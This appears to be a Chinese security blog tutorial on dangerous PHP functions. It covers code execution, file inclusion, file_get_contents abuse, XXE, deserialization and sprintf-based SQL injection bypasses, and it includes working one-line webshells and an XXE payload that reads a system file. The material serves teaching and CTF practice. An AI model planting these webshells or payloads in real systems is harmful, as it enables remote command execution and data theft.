早期php一句话木马都用这个
<?php @eval($_POST['shell']);?>
false,将字符串作为php代码执行同样经常被用作一句话木马
<?php assert(@$_POST['shell']); ?>

当匹配模式/e时,该函数会将$replacement作为php代码执行
preg_replace("/test/e",$_GET["shell"],"just test");
跟python的lambda语句类似,在php7.2.0后被废弃
$newfunc = create_function('$v', 'return system($v);');$newfunc('whoami');
array_map()函数将用户自定义的函数作用到数组中的每个值上,并返回用户自定义函数作用后带有新值的数组,这里相当于一种动态调用
<?php $func=$_GET['func']; $cmd=$_GET['cmd']; $array[0]=$cmd; $new_array=array_map($func,$array);?>
<?php @call_user_func("assert",$_GET['cmd']);?>
<?php $cmd=$_GET['cmd']; $array[0]=$cmd; @call_user_func_array("assert",$array);?>
依次将数组中的每个值传递到callback函数,如果callback函数返回true,则数组的当前值会被包含在返回的结果数组中,数组的键名保留不变
<?php $cmd=$_GET['cmd']; $array1=array($cmd); $func =$_GET['func']; array_filter($array1,$func);?>

<?php system($_GET['cmd']);?>

<?php echo exec("whoami");?>
<?php echo shell_exec("whoami");?>
<?php passthru("whoami");?>shell_exec()函数,在CTF题目里面有的时候会忘记过滤导致直接拿到flagphp中包含的函数一共有四个,主要作用为包含并运行指定文件
include()与require_once()主要的区别是:include()在包含的过程中如果出现错误,会抛出一个警告,程序继续运行;而require()函数出现错误时,会直接报错并退出程序的执行
require_once()和include_once(),显然表示的是文件只包含一次的意思,避免函数重定义和变量重新赋值等问题
文件包含还分为了本地文件包含和远程文件包含,这里就不再进行赘述
当被包含文件可控的情况下,我们可以包含任意文件,从而达到GetShell的目的,也可以使用filter伪协议读取文件内容,关于php伪协议会在后面的文章进行介绍
利用的相关协议:
一个简单的file_get_contents()案例
<?php $url = $_GET['url'];; echo file_get_contents($url);?>直接在本地环境上测试了,使用file协议读一下system.ini文件
XXE指XML外部实体注入
当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害
这类漏洞可以根据危险函数逆推回去,危险函数有:
本地搭建一个存在XXE的环境
<?php error_reporting(0); //禁用外部实体注入 设置为false 相当于不禁用 libxml_disable_entity_loader (false); //php://input ===> post请求体的内容 $xmlfile = file_get_contents('php://input'); //exit(-1); //创建一个DOMDocument类型的对象 $dom = new DOMDocument(); //loadXML 从字符串中读取,生成一个DOMDocument类型的对象 $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //var_dump($dom); //exit(-1); //把一个DOMDocument类型的对象转发成一个simpleXML类型的对象 $creds = simplexml_import_dom($dom); //因为存在SIMPLEXMLelement存在__toString__魔术方法, //因此可以直接打印 echo $creds; ?>payload为
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=C:/Windows/system.ini"> ]> <creds>&goodies;</creds>
成功读取base64加密后的system.ini文件内容
php防御手段:
设置
libxml_disable_entity_loader=TRUE来禁用外部实体
文件操作无外乎增删改查,在不同场景下利用手法不同
文件操作的函数有很多:
serialize()unserialize()__construct() 类的构造函数__destruct() 类的析构函数__call() 在对象中调用一个不可访问方法时调用__callStatic() 用静态方式中调用一个不可访问方法时调用__get() 获得一个类的成员变量时调用__set()设置一个类的成员变量时调用__isset() 当对不可访问属性调用isset()或empty()时调用__unset() 当对不可访问属性调用unset()时被调用。__sleep() 执行serialize()时,先会调用这个函数__wakeup() 执行unserialize()时,先会调用这个函数__toString() 类被当成字符串时的回应方法__invoke() 调用函数的方式调用一个对象时的回应方法__set_state() 调用var_export()导出类时,此静态方法会被调用。__clone() 当对象复制完成时调用__autoload() 尝试加载未定义的类__debugInfo() 打印所需调试信息关于如何利用反序列化漏洞,取决于应用程序的逻辑、可用的类和魔法方法。
unserialize的参数用户可控,攻击者可以构造恶意的序列化字符串。当应用程序将恶意字符串反序列化为对象后,也就执行了攻击者指定的操作,如代码执行、任意文件读取等
sprintf(format,arg1,arg2,arg++)
arg1、arg2、arg++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。
注释:如果 % 符号多于 arg 参数,则您必须使用占位符。占位符位于 % 符号之后,由数字和 "$" 组成。
可以利用sprintf()绕过一些过滤字符的函数,例如在如下场景中
<?php error_reporting(0); $name = $_GET['name']; $name = mysql_escape_string(stripslashes($name)); $sql = sprintf("select * from product where name = '$name' and adddate <= '%s' limit 1",date("Y-m-d H:i:s")); echo $sql;?>我们的单引号被过滤了
可以利用sprintf()的特性吃掉\
is_numeric()函数存在插入十六进制字符串到数据库,进而导致SQL二次注入的风险
建了一个微信的安全交流群,欢迎添加我微信备注进群,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注 ??
